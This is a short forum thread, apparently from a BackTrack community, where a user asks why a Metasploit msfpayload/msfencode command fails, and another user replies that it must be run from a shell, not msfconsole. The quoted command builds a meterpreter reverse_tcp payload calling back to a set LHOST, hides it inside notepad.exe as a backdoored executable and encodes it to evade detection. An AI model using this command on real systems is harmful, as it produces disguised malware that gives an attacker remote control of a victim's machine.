You should take a look at the MSFU more carefully, you don't use msfpayload or msfencode from within msfconsole, you need to do it from a shell.
Hi!
Im having problem generating an encoded payload using msfpayload and msfencode.
Running command:
msf > msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.144.129 EXITFUNC=thread R | ./msfencode -t exe -x notepad.exe -k -o notepad_backdoor.exe -e x86/shikata_ga_nai -c 5
Output:
x86/shikata_ga_nai failed: No such file or directory - ./lib/msf/util/../../../data/templates/notepad.exe
Ive placed the notepad.exe in the msf root directory, but there obviously seems to be some other issue.
Any one have a clue?
regards
tartex
You should take a look at the MSFU more carefully, you don't use msfpayload or msfencode from within msfconsole, you need to do it from a shell.
Back|track giving machine guns to monkeys since 2007 !
Do not read the Wiki, most your questions will not be answered there !
Do not take a look at the: Forum Rules !
thanks! I will try that instead.